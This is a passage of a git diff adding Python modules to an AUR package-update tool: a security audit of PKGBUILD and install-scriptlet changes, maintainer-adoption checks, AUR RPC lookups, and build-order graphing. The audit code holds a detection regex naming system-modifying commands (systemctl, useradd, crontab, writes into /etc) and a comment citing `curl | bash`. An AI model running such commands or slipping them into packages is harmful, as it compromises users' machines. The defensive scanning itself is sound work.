+ evidence=", ".join(diff.makedepends.added)[:120],
+ )
+ )
+ if diff.replaces.added:
+ out.append(
+ Finding(
+ "new-replaces",
+ Severity.LOOK,
+ "now declares that it replaces another package",
+ evidence=", ".join(diff.replaces.added)[:120],
+ )
+ )
+ if diff.conflicts.added:
+ out.append(
+ Finding(
+ "new-conflicts",
+ Severity.LOOK,
+ "now declares a conflict",
+ evidence=", ".join(diff.conflicts.added)[:120],
+ )
+ )
+ return out
+
+
+def scan_install_scriptlet(change: Change, diff: SemanticDiff) -> list[Finding]:
+ """A `.install` scriptlet runs as root on the user's machine.
+
+ The text arrives on the Change rather than being read here. Reading it with
+ `Path(name)` resolved against the process working directory, and the CLI
+ never chdirs, so from a normal invocation the file was never found and the
+ scriptlet was never looked at. The old side was read from the same working
+ tree rather than from the baseline commit, so a scriptlet that changed
+ reported "already present".
+ """
+ if change.new_pkgbuild is None:
+ return []
+
+ dangerous = re.compile(
+ r"\b(?:systemctl|sysusers|useradd|groupadd|udevadm|update-desktop-database)\b"
+ r"|(?<![\x22\x27/>])>>?\s*/(?:etc|usr|boot|var)/"
+ r"|\bcrontab\b|\bat\s+now\b"
+ )
+
+ out: list[Finding] = []
+ for name, text in sorted(change.new_install.items()):
+ match = dangerous.search(text)
+ if not match:
+ continue
+ old_text = change.old_install.get(name, "")
+ newly = not old_text or not dangerous.search(old_text)
+ out.append(
+ Finding(
+ "install-scriptlet-system",
+ Severity.LOOK if newly else Severity.INFO,
+ "an install scriptlet touches the system"
+ + ("" if newly else " (unchanged from the previous revision)"),
+ evidence=match.group(0)[:120],
+ where=name,
+ )
+ )
+
+ # A scriptlet is shell like any other, so the same patterns apply. Nothing
+ # was scanning it before, which meant `curl | bash` inside one was invisible.
+ for name, text in sorted(change.new_install.items()):
+ old_text = change.old_install.get(name, "")
+ for pat in PATTERNS:
+ found = pat.regex.search(text[:MAX_SCAN])
+ if not found:
+ continue
+ if pat.guard is not None and not pat.guard(text, found):
+ continue
+ if old_text and pat.regex.search(old_text[:MAX_SCAN]):
+ continue
+ out.append(
+ Finding(
+ pat.rule,
+ pat.severity,
+ pat.title + " (in an install scriptlet)",
+ evidence=found.group(0)[:120],
+ where=name,
+ )
+ )
+ return out
+
+
+def scan_maintainer(change: Change) -> list[Finding]:
+ """Who maintains the package now, against who maintained it before.
+
+ `None` is "no record" and `""` is "orphaned". Adoption -- an orphaned
+ package acquiring a maintainer -- is the AUR account-takeover vector, so it
+ is reported even though nothing else about the update looks unusual.
+ Orphaning is not suspicious on its own and is only context.
+ """
+ old, new = change.old_maintainer, change.new_maintainer
+
+ if new is None:
+ # the package is orphaned now
+ if old:
+ return [
+ Finding(
+ "orphaned",
+ Severity.INFO,
+ "package has been orphaned",
+ evidence=f"was maintained by {old}",
+ )
+ ]
+ return []
+
+ if not new.strip():
+ if old:
+ return [
+ Finding(
+ "orphaned",
+ Severity.INFO,
+ "package has been orphaned",
+ evidence=f"was maintained by {old}",
+ )
+ ]
+ return []
+
+ if old is None:
+ # no record of who had it: a first audit cannot tell adoption from
+ # continuity, and reporting every package would be pure noise
+ return []
+
+ if not old:
+ return [
+ Finding(
+ "maintainer-adopted",
+ Severity.LOOK,
+ "an orphaned package has been adopted by a new maintainer",
+ evidence=f"was orphaned -> {new}",
+ )
+ ]
+
+ if old == new:
+ return []
+ return [
+ Finding(
+ "maintainer-changed",
+ Severity.LOOK,
+ "package changed maintainer",
+ evidence=f"{old} -> {new}",
+ )
+ ]
+
+
+def scan_sources(change: Change, diff: SemanticDiff) -> list[Finding]:
+ out: list[Finding] = []
+ for move in diff.sources_moved:
+ if move.old_domain == move.new_domain:
+ continue
+ out.append(
+ Finding(
+ "source-domain-changed",
+ Severity.LOOK,
+ f"{move.filename} now comes from a different host",
+ evidence=f"{move.old_domain} -> {move.new_domain}",
+ )
+ )
+ # A version bump renames the tarball, so `added` and `removed` are both
+ # non-empty on almost every commit; requiring `added and not removed`
+ # reports nothing at all and hides the shape that matters, which is slipping
+ # an extra source in during a routine update. The signal is the list getting
+ # *longer*, not an entry being unfamiliar.
+ # Without an old side there is nothing to compare: every source looks newly
+ # added, which is how "was 0, now 1" appears on packages that have no
+ # baseline. Not knowing is not evidence of a change.
+ if change.old_srcinfo is None or change.new_srcinfo is None:
+ return out
+
+ old_sources = change.old_srcinfo.source
+ new_sources = change.new_srcinfo.source
+ grew = len(new_sources) > len(old_sources)
+ if not grew:
+ return out
+
+ known_hosts = {domain_of(entry) for entry in old_sources}
+ for entry in diff.source.added:
+ host = domain_of(entry)
+ if host and host != "(local)" and host not in known_hosts:
+ out.append(
+ Finding(
+ "source-host-added",
+ Severity.LOOK,
+ f"a source from {host} was added, a host this package has not used before",
+ evidence=entry[:120],
+ )
+ )
+ out.append(
+ Finding(
+ "source-added",
+ Severity.INFO,
+ f"the package now has {len(new_sources)} source(s), was {len(old_sources)}",
+ evidence=", ".join(diff.source.added)[:120],
+ )
+ )
+ return out
+
+
+RULES = (
+ scan_sums,
+ scan_pgp,
+ scan_deps,
+ scan_install_scriptlet,
+ scan_maintainer,
+ scan_sources,
+ scan_patterns,
+)
+
+
+# --------------------------------------------------------------------------
+# entry point
+# --------------------------------------------------------------------------
+
+
+def semantic_diff(change: Change) -> SemanticDiff:
+ old, new = change.old_srcinfo, change.new_srcinfo
+ d = SemanticDiff()
+ if old and new:
+ d.pkgver = _pair(old.pkgver, new.pkgver)
+ d.pkgrel = _pair(old.pkgrel, new.pkgrel)
+ d.epoch = _pair(old.epoch, new.epoch)
+ d.source = _setdiff(old.source, new.source)
+ d.sums = _setdiff(old.primary_sums, new.primary_sums)
+ d.depends = _setdiff(old.depends, new.depends)
+ d.makedepends = _setdiff(old.makedepends, new.makedepends)
+ d.optdepends = _setdiff(old.optdepends, new.optdepends)
+ d.provides = _setdiff(old.provides, new.provides)
+ d.conflicts = _setdiff(old.conflicts, new.conflicts)
+ d.replaces = _setdiff(old.replaces, new.replaces)
+ d.validpgpkeys = _setdiff(old.validpgpkeys, new.validpgpkeys)
+
+ # "the source moved" detection. Pairing by index handles the common case
+ # where a version bump renames the tarball; pairing by filename is the
+ # fallback when the source list itself changed shape.
+ pairs: list[tuple[str, str]]
+ if len(old.source) == len(new.source):
+ pairs = list(zip(old.source, new.source))
+ else:
+ before = {filename_of(u): u for u in old.source}
+ after = {filename_of(u): u for u in new.source}
+ pairs = [(before[k], after[k]) for k in sorted(set(before) & set(after))]
+ for old_url, new_url in pairs:
+ if old_url != new_url:
+ d.sources_moved.append(SourceMove(filename_of(new_url), old_url, new_url))
+
+ if change.old_pkgbuild and change.new_pkgbuild:
+ o, n = change.old_pkgbuild, change.new_pkgbuild
+ d.funcs_added = sorted(set(n.funcs) - set(o.funcs))
+ d.funcs_removed = sorted(set(o.funcs) - set(n.funcs))
+ d.funcs_changed = sorted(
+ fn for fn in set(o.funcs) & set(n.funcs) if o.funcs[fn] != n.funcs[fn]
+ )
+ d.lines_added, d.lines_removed = _lines_changed(o.raw, n.raw)
+
+ return d
+
+
+def audit(change: Change) -> Report:
+ diff = semantic_diff(change)
+ findings: list[Finding] = []
+ for rule in RULES:
+ try:
+ findings.extend(rule(change, diff) if _takes_diff(rule) else rule(change))
+ except Exception as exc: # noqa: BLE001 - a broken rule must not kill the run
+ findings.append(
+ Finding(rule.__name__, Severity.INFO, f"rule failed: {type(exc).__name__}: {exc}")
+ )
+ order = {Severity.BLOCK: 0, Severity.LOOK: 1, Severity.INFO: 2}
+ findings.sort(key=lambda f: (order[f.severity], f.rule))
+ if change.new_pkgbuild is None:
+ basis = Basis.NOTHING
+ elif change.old_pkgbuild is None:
+ basis = Basis.NEW_ONLY
+ else:
+ basis = Basis.COMPARED
+ return Report(package=change.package, diff=diff, findings=findings, basis=basis)
+
+
+def _takes_diff(rule) -> bool:
+ return rule.__name__ in {
+ "scan_sums",
+ "scan_pgp",
+ "scan_deps",
+ "scan_sources",
+ "scan_install_scriptlet",
+ }
diff --git a/updater/aur.py b/updater/aur.py
@@ -0,0 +1,296 @@
+"""AUR metadata via the RPC v5 API, plus local history for change detection.
+
+The API tells us the *current* maintainer, which is not enough to notice that a
+package changed hands. That needs a record of what we saw last time, so this
+module keeps a small state file: for each AUR package, the maintainer and the
+PKGBUILD commit we last reviewed. Everything downstream that says "adopted by a
+new maintainer" is a comparison against that record.
+"""
+
+from __future__ import annotations
+
+import json
+import re
+import shutil
+import subprocess
+import time
+import urllib.error
+import urllib.parse
+import urllib.request
+from dataclasses import asdict, dataclass, field
+from pathlib import Path
+
+RPC = "https://aur.archlinux.org/rpc/v5/info"
+#: the RPC is a GET with repeated arg[] params, so names are batched to keep the
+#: query string within sane limits
+BATCH = 150
+
+
+@dataclass(frozen=True)
+class AurPackage:
+ name: str
+ version: str = ""
+ description: str = ""
+ maintainer: str | None = None
+ comaintainers: tuple[str, ...] = ()
+ out_of_date: int | None = None
+ first_submitted: int = 0
+ last_modified: int = 0
+ votes: int = 0
+ popularity: float = 0.0
+ url: str = ""
+ package_base: str = ""
+ depends: tuple[str, ...] = ()
+ make_depends: tuple[str, ...] = ()
+
+ @property
+ def is_orphaned(self) -> bool:
+ return not self.maintainer
+
+ @property
+ def is_flagged(self) -> bool:
+ return bool(self.out_of_date)
+
+ @property
+ def age_days(self) -> float:
+ return (time.time() - self.last_modified) / 86400 if self.last_modified else 0.0
+
+ @classmethod
+ def from_rpc(cls, raw: dict) -> AurPackage:
+ return cls(
+ name=raw.get("Name", ""),
+ version=raw.get("Version", ""),
+ description=raw.get("Description") or "",
+ maintainer=raw.get("Maintainer"),
+ comaintainers=tuple(raw.get("CoMaintainers") or ()),
+ out_of_date=raw.get("OutOfDate"),
+ first_submitted=int(raw.get("FirstSubmitted") or 0),
+ last_modified=int(raw.get("LastModified") or 0),
+ votes=int(raw.get("NumVotes") or 0),
+ popularity=float(raw.get("Popularity") or 0.0),
+ url=raw.get("URL") or "",
+ package_base=raw.get("PackageBase") or "",
+ depends=tuple(raw.get("Depends") or ()),
+ make_depends=tuple(raw.get("MakeDepends") or ()),
+ )
+
+
+class AurError(RuntimeError):
+ pass
+
+
+def _default_opener(url: str, timeout: float):
+ return urllib.request.urlopen(url, timeout=timeout) # noqa: S310 - fixed https host
+
+
+#: how long a batch of RPC answers may be reused. Short on purpose: this is the
+#: authoritative source for "what version is in the AUR", so staleness matters,
+#: but a drill-down asks the same question repeatedly within seconds.
+RPC_TTL = 300
+
+
+def _rpc_cache_path(chunk: list[str]) -> Path:
+ import hashlib
+
+ from . import fetch
+
+ key = hashlib.sha256("\n".join(chunk).encode()).hexdigest()[:16]
+ return fetch.cache_dir() / "aur-rpc" / f"{key}.json"
+
+
+def fetch(
+ names: list[str], *, opener=_default_opener, timeout: float = 20.0, use_cache: bool = True
+) -> dict[str, AurPackage]:
+ """Look up AUR packages by name. Names the AUR does not know are omitted.
+
+ A missing name is meaningful rather than an error: it is how a package that
+ was deleted from the AUR shows up.
+
+ Batches are cached for a few minutes. The plan asks once for every foreign
+ package, but opening a package asks again for that one alone, and the second
+ question has the same answer as the first.
+ """
+ out: dict[str, AurPackage] = {}
+ unique = sorted(set(names))
+ for start in range(0, len(unique), BATCH):
+ chunk = unique[start : start + BATCH]
+ path = _rpc_cache_path(chunk) if use_cache else None
+ payload = None
+ if path is not None:
+ try:
+ if time.time() - path.stat().st_mtime < RPC_TTL:
+ payload = json.loads(path.read_text())
+ except (OSError, ValueError):
+ payload = None
+
+ if payload is None:
+ query = urllib.parse.urlencode([("arg[]", n) for n in chunk])
+ try:
+ with opener(f"{RPC}?{query}", timeout) as response:
+ payload = json.load(response)
+ except (urllib.error.URLError, OSError, ValueError, TimeoutError) as exc:
+ raise AurError(f"AUR RPC unavailable: {exc}") from exc
+ if path is not None:
+ try:
+ path.parent.mkdir(parents=True, exist_ok=True)
+ tmp = path.with_suffix(".tmp")
+ tmp.write_text(json.dumps(payload))
+ tmp.replace(path)
+ except (OSError, TypeError):
+ pass # a cache that cannot be written is not a failure
+
+ if not isinstance(payload, dict):
+ # json.loads accepts a list or a scalar; the RPC contract does not,
+ # and the AttributeError escaped as an unhandled crash.
+ raise AurError("the AUR RPC returned something that is not an object")
+ for raw in payload.get("results", []):
+ pkg = AurPackage.from_rpc(raw)
+ out[pkg.name] = pkg
+ return out
+
+
+# --------------------------------------------------------------------------
+# on-disk cache
+# --------------------------------------------------------------------------
+
+
+def state_dir() -> Path:
+ import os
+
+ base = os.environ.get("XDG_STATE_HOME") or (Path.home() / ".local/state")
+ return Path(base) / "updater"
+
+
+@dataclass
+class Entry:
+ """What we knew about an AUR package the last time we looked at it."""
+
+ maintainer: str | None = None
+ commit: str = ""
+ version: str = ""
+
+
+@dataclass
+class State:
+ """Local memory of AUR packages, so changes can be described as changes."""
+
+ path: Path = field(default_factory=lambda: state_dir() / "aur-state.json")
+ entries: dict[str, Entry] = field(default_factory=dict)
+
+ @classmethod
+ def load(cls, path: Path | None = None) -> State:
+ path = path or (state_dir() / "aur-state.json")
+ try:
+ raw = json.loads(path.read_text())
+ except (OSError, ValueError):
+ return cls(path=path)
+ if not isinstance(raw, dict):
+ return cls(path=path)
+ packages = raw.get("packages")
+ if not isinstance(packages, dict):
+ packages = {}
+ entries = {
+ name: Entry(**{k: v for k, v in body.items() if k in Entry.__dataclass_fields__})
+ for name, body in packages.items()
+ if isinstance(body, dict)
+ }
+ return cls(path=path, entries=entries)
+
+ def save(self) -> None:
+ self.path.parent.mkdir(parents=True, exist_ok=True)
+ payload = {"version": 1, "packages": {n: asdict(e) for n, e in self.entries.items()}}
+ tmp = self.path.with_suffix(".tmp")
+ tmp.write_text(json.dumps(payload, indent=1, sort_keys=True))
+ tmp.replace(self.path)
+
+ def previous_maintainer(self, name: str) -> str | None:
+ """The maintainer recorded at the last successful build.
+
+ `None` means no record at all; `""` means the package was orphaned when
+ it was last seen. Conflating the two hid the case that matters most:
+ adopting an orphaned package is the classic AUR account-takeover vector,
+ and with both encoded as None there was nothing to compare against.
+ """
+ entry = self.entries.get(name)
+ if entry is None:
+ return None
+ return entry.maintainer or ""
+
+ def previous_commit(self, name: str) -> str:
+ entry = self.entries.get(name)
+ return entry.commit if entry else ""
+
+ def record(
+ self, name: str, *, maintainer: str | None, commit: str = "", version: str = ""
+ ) -> None:
+ self.entries[name] = Entry(maintainer=maintainer, commit=commit, version=version)
+
+
+DEBUG_SUFFIX = "-debug"
+
+#: `name old -> new`, the shape every pacman-family query produces
+_UPGRADE_LINE = re.compile(r"^(\S+)\s+(\S+)\s+->\s+(\S+)\s*$")
+
+
+def devel_upgrades(*, timeout: int = 120) -> tuple[dict[str, tuple[str, str]], str]:
+ """AUR packages paru itself would rebuild, and why if it could not say.
+
+ A `-git` package's recorded pkgver is whatever the maintainer last
+ committed, which is routinely *behind* the version paru generated the last
+ time it built the thing. Comparing versions therefore says nothing: on this
+ machine 18 of 21 devel packages differ, and not one of them differs in the
+ direction that means "there is something new".
+
+ Only paru knows. It keeps a development database recording the commit each
+ devel package was built from and checks upstream for movement, and `-Qua` is
+ that check without changing anything. Returns `(upgrades, note)`; `note` is
+ empty on success and explains the shortfall otherwise.
+ """
+ exe = shutil.which("paru")
+ if exe is None:
+ return {}, "paru is not installed, so devel packages cannot be checked"
+ try:
+ proc = subprocess.run(
+ [exe, "-Qua"],
+ capture_output=True,
+ text=True,
+ errors="replace",
+ timeout=timeout,
+ check=False,
+ )
+ except subprocess.TimeoutExpired:
+ return {}, f"paru -Qua timed out after {timeout}s"
+ except OSError as exc:
+ return {}, f"could not run paru: {exc}"
+
+ out: dict[str, tuple[str, str]] = {}
+ for line in proc.stdout.splitlines():
+ match = _UPGRADE_LINE.match(line.strip())
+ if match:
+ out[match.group(1)] = (match.group(2), match.group(3))
+
+ if not out and proc.returncode != 0:
+ detail = (proc.stderr.strip().splitlines() or ["no output"])[0]
+ return {}, f"paru -Qua failed: {detail[:120]}"
+ return out, ""
+
+
+def deleted(
+ names: list[str], packages: dict[str, AurPackage], known_bases: set[str] | None = None
+) -> list[str]:
+ """Names the AUR no longer returns, i.e. packages that have been removed.
+
+ `-debug` packages are split out by makepkg when a base package is built with
+ debug symbols; they were never AUR entries of their own, so a missing one
+ says nothing. Without this, every machine with debug packages installed
+ reports phantom deletions.
+ """
+ bases = set(known_bases or ()) | set(packages)
+ out: list[str] = []
+ for name in names:
+ if name in packages:
+ continue
+ if name.endswith(DEBUG_SUFFIX) and name[: -len(DEBUG_SUFFIX)] in bases:
+ continue
+ out.append(name)
+ return sorted(out)
diff --git a/updater/buildgraph.py b/updater/buildgraph.py
@@ -0,0 +1,231 @@
+"""The AUR build DAG.
+
+AUR packages depend on other AUR packages, and those have to be built first. That
+ordering is the whole reason a flat "updating 23 packages" line is useless: the
+interesting information is *which* packages have to finish before *which*, and
+which dependencies are shared (a diamond).
+
+paru computes this internally but does not expose it, so we derive it from the
+.SRCINFO files it already cloned.
+"""
+
+from __future__ import annotations
+
+from collections import deque
+from dataclasses import dataclass, field
+
+from .srcinfo import SrcInfo, dep_name
+
+
+@dataclass
+class Node:
+ name: str
+ version: str = ""
+ #: AUR dependencies that are themselves in this graph
+ deps: set[str] = field(default_factory=set)
+ #: AUR dependencies that are NOT in the graph (already satisfied, or missing)
+ external: set[str] = field(default_factory=set)
+ #: False when no .SRCINFO was available, which means `deps` is not merely
+ #: empty but *unknown*, and the node cannot be ordered or scheduled.
+ metadata_known: bool = True
+
+
+class MissingMetadata(RuntimeError):
+ """Raised when a graph is required to be orderable but is not."""
+
+ def __init__(self, names: list[str]) -> None:
+ self.names = names
+ super().__init__(
+ f"{len(names)} package(s) are not cloned yet, so what they depend "
+ f"on is not known: {', '.join(names[:8])}" + (" …" if len(names) > 8 else "")
+ )
+
+ @property
+ def detail(self) -> list[str]:
+ """What it means and what happens, rather than a restatement."""
+ return [
+ "paru keeps a copy of each AUR repository it has built. These have",
+ "not been built here yet, so there is no copy to read and their",
+ "dependencies cannot be worked out in advance.",
+ "",
+ "Nothing is wrong. They are still built -- paru resolves each",
+ "package's own dependencies when it gets to it. The only thing",
+ "lost is the ordering between them, so one may be attempted before",
+ "something else it needs, and be retried on a later pass.",
+ "",
+ "The list:",
+ "",
+ *[f" {name}" for name in sorted(self.names)[:20]],
+ *([f" + {len(self.names) - 20} more"] if len(self.names) > 20 else []),
+ ]
+
+
+@dataclass
+class Graph:
+ nodes: dict[str, Node] = field(default_factory=dict)
+ #: names that can be ordered, in the order they may safely start
+ order: list[str] = field(default_factory=list)
+ #: dependency cycles; AUR packages really do contain these
+ cycles: list[list[str]] = field(default_factory=list)
+ #: nodes depended on by more than one other node (the diamonds)
+ shared: set[str] = field(default_factory=set)
+ #: nodes that nothing else depends on
+ roots: list[str] = field(default_factory=list)
+ #: nodes with no metadata: present, but not orderable
+ unknown: list[str] = field(default_factory=list)
+ #: orderable nodes held back because something they need is not orderable
+ blocked_by_unknown: list[str] = field(default_factory=list)
+
+ def __len__(self) -> int:
+ return len(self.nodes)
+
+ @property
+ def is_orderable(self) -> bool:
+ """Whether the computed order covers every package that must be built."""
+ return not self.unknown and not self.cycles and not self.blocked_by_unknown
+
+ def dependents(self, name: str) -> list[str]:
+ return sorted(n for n, node in self.nodes.items() if name in node.deps)
+
+ def ready(self, completed: set[str], running: set[str] | None = None) -> list[str]:
+ """Nodes whose dependencies are all complete and which are not started.
+
+ Only orderable nodes are ever returned: a node whose dependencies are
+ unknown cannot be shown to be ready, so it is never scheduled.
+ """
+ running = running or set()
+ return [
+ name
+ for name in self.order
+ if name not in completed and name not in running and self.nodes[name].deps <= completed
+ ]
+
+ def blocked(self, failed: set[str]) -> set[str]:
+ """Everything transitively unbuildable because `failed` could not build."""
+ out: set[str] = set()
+ frontier = deque(failed)
+ while frontier:
+ name = frontier.popleft()
+ for dependent in self.dependents(name):
+ if dependent not in out:
+ out.add(dependent)
+ frontier.append(dependent)
+ return out - set(failed)
+
+
+def build_graph(infos: dict[str, SrcInfo], candidates: set[str], *, strict: bool = False) -> Graph:
+ """Build the DAG for a set of AUR packages that are about to be built.
+
+ `infos` maps package name -> metadata (from .SRCINFO). `candidates` is the set
+ being updated/built; only edges *within* that set become graph edges, because
+ anything outside it is already installed and needs no ordering.
+
+ A candidate with no metadata is kept in the graph but marked unknown. Its
+ dependencies are not empty, they are *undiscoverable*, so it is excluded from
+ the order and nothing that depends on it can be ordered either. Pass
+ `strict=True` to make that a hard error instead of a reported condition.
+ """
+ graph = Graph()
+
+ # map provided names back to the providing package so `python-attrs` style
+ # virtual deps still form edges
+ provided: dict[str, str] = {}
+ # sorted: `candidates` is a set, so two packages providing the same virtual
+ # name would otherwise win by hash order and the graph would differ between
+ # runs of the same plan.
+ for name in sorted(candidates):
+ info = infos.get(name)
+ if not info:
+ continue
+ for prov in info.provides:
+ provided.setdefault(dep_name(prov), name)
+
+ for name in sorted(candidates):
+ info = infos.get(name)
+ node = Node(
+ name=name, version=info.version if info else "", metadata_known=info is not None
+ )
+ if info:
+ for spec in info.build_depends:
+ dep = dep_name(spec)
+ target = dep if dep in candidates else provided.get(dep)
+ if target and target != name:
+ node.deps.add(target)
+ elif dep != name:
+ node.external.add(dep)
+ graph.nodes[name] = node
+
+ graph.unknown = sorted(n for n, node in graph.nodes.items() if not node.metadata_known)
+ if strict and graph.unknown:
+ raise MissingMetadata(graph.unknown)
+
+ known = {n for n, node in graph.nodes.items() if node.metadata_known}
+
+ # a node with more than one dependent is shared (a diamond branch point)
+ for node in graph.nodes.values():
+ for dep in node.deps:
+ if len(graph.dependents(dep)) > 1:
+ graph.shared.add(dep)
+
+ # Kahn over the orderable nodes only, with a deterministic tie-break so the
+ # display never jitters between runs for no reason
+ indegree = {n: len(graph.nodes[n].deps) for n in known}
+ queue = deque(sorted(n for n, d in indegree.items() if d == 0))
+ while queue:
+ name = queue.popleft()
+ graph.order.append(name)
+ for dependent in graph.dependents(name):
+ if dependent not in indegree:
+ continue
+ indegree[dependent] -= 1
+ if indegree[dependent] == 0:
+ queue.append(dependent)
+ queue = deque(sorted(queue))
+
+ unplaced = known - set(graph.order)
+ if unplaced:
+ # separate "you have a dependency cycle" from "we are missing metadata
+ # for something this depends on": they need completely different fixes
+ graph.blocked_by_unknown = sorted(
+ n
+ for n in unplaced
+ if (graph.nodes[n].deps & set(graph.unknown))
+ or any(d in graph.unknown for d in graph.nodes[n].deps)
+ )
+ graph.blocked_by_unknown = sorted(
+ set(graph.blocked_by_unknown) | graph.blocked(graph.unknown)
+ )
+ cycle_candidates = unplaced - set(graph.blocked_by_unknown)
+ if cycle_candidates:
+ graph.cycles = _find_cycles(graph, cycle_candidates)
+
+ depended_on = {dep for node in graph.nodes.values() for dep in node.deps}
+ graph.roots = sorted(known - depended_on)
+ return graph
+
+
+def _find_cycles(graph: Graph, remaining: set[str]) -> list[list[str]]:
+ """Report the cycles rather than silently dropping the packages.
+
+ A cycle means the package is unbuildable as declared, which the user needs to
+ know about; it is not something to paper over with a best-effort order.
+ """
+ cycles: list[list[str]] = []
+ colour: dict[str, int] = {}
+ stack: list[str] = []
+
+ def visit(name: str) -> None:
+ colour[name] = 1
+ stack.append(name)
+ for dep in sorted(graph.nodes[name].deps & remaining):
+ if colour.get(dep) == 1:
+ cycles.append(stack[stack.index(dep) :] + [dep])
+ elif colour.get(dep, 0) == 0:
+ visit(dep)
+ stack.pop()
+ colour[name] = 2
+
+ for name in sorted(remaining):
+ if colour.get(name, 0) == 0:
+ visit(name)
+ return cycles
diff --git a/updater/changes.py b/updater/changes.py
@@ -0,0 +1,323 @@
+"""Turn a cloned AUR package's git history into an audit `Change`.
+
+paru clones each AUR package as a git repository, so "what changed since I last
+built this" is a git question, not a scraping question. We record the commit we
+built at in the AUR state file and diff HEAD against it.
+
+A package with no recorded commit has no baseline: we have never built it, or we
+have lost the record. That is reported as such rather than pretending the current
+PKGBUILD is unchanged.
+"""
+
+from __future__ import annotations
+
+import subprocess
+from dataclasses import dataclass
+from pathlib import Path
+
+from .audit import Change
+from .srcinfo import parse_pkgbuild, parse_srcinfo
+
+FILES = ("PKGBUILD", ".SRCINFO", ".install")
+
+
+@dataclass(frozen=True)
+class Commit:
+ sha: str
+ summary: str = ""
+ when: str = ""
+
+
+def git(repo: Path, *args: str, timeout: float = 20.0) -> str:
+ """Run git in a clone dir. Returns stdout, or '' if the command fails."""
+ try:
+ proc = subprocess.run(
+ ["git", "-C", str(repo), *args],
+ capture_output=True,
+ text=True,
+ errors="replace",
+ timeout=timeout,
+ check=False,
+ )
+ except (OSError, subprocess.SubprocessError):
+ return ""
+ return proc.stdout if proc.returncode == 0 else ""
+
+
+def show(repo: Path, rev: str, path: str) -> str:
+ return git(repo, "show", f"{rev}:{path}")
+
+
+def head(repo: Path, path: str = "PKGBUILD") -> Commit:
+ """The most recent commit that touched `path`."""
+ out = git(repo, "log", "-1", "--format=%H%x1f%s%x1f%cI", "--", path)
+ if not out.strip():
+ return Commit(sha="")
+ parts = out.strip().split("\x1f")
+ return Commit(
+ sha=parts[0],
+ summary=parts[1] if len(parts) > 1 else "",
+ when=parts[2] if len(parts) > 2 else "",
+ )
+
+
+def history(repo: Path, path: str = "PKGBUILD", limit: int = 2) -> list[Commit]:
+ out = git(repo, "log", f"-{limit}", "--format=%H%x1f%s%x1f%cI", "--", path)
+ commits = []
+ for line in out.splitlines():
+ if not line.strip():
+ continue
+ parts = line.split("\x1f")
+ commits.append(
+ Commit(
+ sha=parts[0],
+ summary=parts[1] if len(parts) > 1 else "",
+ when=parts[2] if len(parts) > 2 else "",
+ )
+ )
+ return commits
+
+
+def has_commit(repo: Path, sha: str) -> bool:
+ """Whether the clone still contains this commit.
+
+ paru may re-clone or garbage-collect a clone dir, so a recorded baseline can
+ legitimately have disappeared; that must read as "no baseline", not as
+ "nothing changed".
+ """
+ if not sha:
+ return False
+ try:
+ proc = subprocess.run(
+ ["git", "-C", str(repo), "cat-file", "-e", f"{sha}^{{commit}}"],
+ capture_output=True,
+ text=True,
+ errors="replace",
+ timeout=10,
+ check=False,
+ )
+ except (OSError, subprocess.SubprocessError):
+ return False
+ return proc.returncode == 0
+
+
+def change_from_clone(
+ clone_dir: Path,
+ package: str,
+ *,
+ old_commit: str = "",
+ old_maintainer: str | None = None,
+ new_maintainer: str | None = None,
+) -> Change:
+ """A `Change` describing HEAD against `old_commit`.
+
+ With no usable baseline the old side is left empty, which the audit treats as
+ "nothing to compare" rather than "nothing changed" -- the difference matters,
+ because the second would silently report a rewrite as a no-op.
+ """
+ repo = clone_dir / package
+ new_pkgbuild = (
+ (repo / "PKGBUILD").read_text(errors="replace") if (repo / "PKGBUILD").is_file() else ""
+ )
+ new_srcinfo = (
+ (repo / ".SRCINFO").read_text(errors="replace") if (repo / ".SRCINFO").is_file() else ""
+ )
+
+ old_pkgbuild = old_srcinfo = ""
+ if old_commit and has_commit(repo, old_commit):
+ old_pkgbuild = show(repo, old_commit, "PKGBUILD")
+ old_srcinfo = show(repo, old_commit, ".SRCINFO")
+
+ # `.install` scriptlets ship beside the PKGBUILD and run as root, so read
+ # them here, where the clone directory is known. The rules never touch the
+ # filesystem themselves.
+ def scriptlets(pkgbuild_text: str, revision: str) -> dict[str, str]:
+ if not pkgbuild_text:
+ return {}
+ out: dict[str, str] = {}
+ for name in parse_pkgbuild(pkgbuild_text).vars.get("install", []):
+ if not name.endswith(".install"):
+ continue
+ if revision:
+ text = show(repo, revision, name)
+ else:
+ path = repo / name
+ text = path.read_text(errors="replace") if path.is_file() else ""
+ if text:
+ out[name] = text
+ return out
+
+ return Change(
+ package=package,
+ old_srcinfo=parse_srcinfo(old_srcinfo) if old_srcinfo else None,
+ new_srcinfo=parse_srcinfo(new_srcinfo) if new_srcinfo else None,
+ old_pkgbuild=parse_pkgbuild(old_pkgbuild) if old_pkgbuild else None,
+ new_pkgbuild=parse_pkgbuild(new_pkgbuild) if new_pkgbuild else None,
+ old_maintainer=old_maintainer,
+ new_maintainer=new_maintainer,
+ old_install=scriptlets(old_pkgbuild, old_commit) if old_commit else {},
+ new_install=scriptlets(new_pkgbuild, ""),
+ )
+
+
+def change_for_audit(
+ clone_dir: Path,
+ package: str,
+ *,
+ network: bool = True,
+ old_commit: str = "",
+ old_maintainer: str | None = None,
+ new_maintainer: str | None = None,
+) -> Change:
+ """A `Change` for auditing, falling back to the AUR when nothing is cloned.
+
+ paru only clones what it has built. A package it has never built had no
+ PKGBUILD on disk, so every rule examined nothing and the package was
+ reported as "not audited" -- for a file that is one HTTP request away.
+
+ There is still no old side to compare against, so the result is a NEW_ONLY
+ reading. That is a weaker answer than a comparison, but it is a real answer:
+ the patterns that need no baseline still apply.
+ """
+ change = change_from_clone(
+ clone_dir,
+ package,
+ old_commit=old_commit,
+ old_maintainer=old_maintainer,
+ new_maintainer=new_maintainer,
+ )
+ if change.new_pkgbuild is not None or not network:
+ return change
+
+ from . import fetch
+
+ body, _error = fetch.pkgbuild(package)
+ if not body:
+ return change
+
+ old_pkgbuild = change.old_pkgbuild
+ scriptlets: dict[str, str] = {}
+ for name in parse_pkgbuild(body).vars.get("install", []):
+ if not name.endswith(".install"):
+ continue
+ text = show(clone_dir / package, old_commit, name) if old_commit else ""
+ if text:
+ scriptlets[name] = text
+ else:
+ remote_text, _ = fetch.pkgbuild_file(package, name)
+ if remote_text:
+ scriptlets[name] = remote_text
+
+ return Change(
+ package=package,
+ old_srcinfo=change.old_srcinfo,
+ new_srcinfo=parse_srcinfo(fetch.pkgbuild_file(package, ".SRCINFO")[0] or "") or None,
+ old_pkgbuild=old_pkgbuild,
+ new_pkgbuild=parse_pkgbuild(body),
+ old_maintainer=old_maintainer,
+ new_maintainer=new_maintainer,
+ old_install=change.old_install,
+ new_install=scriptlets,
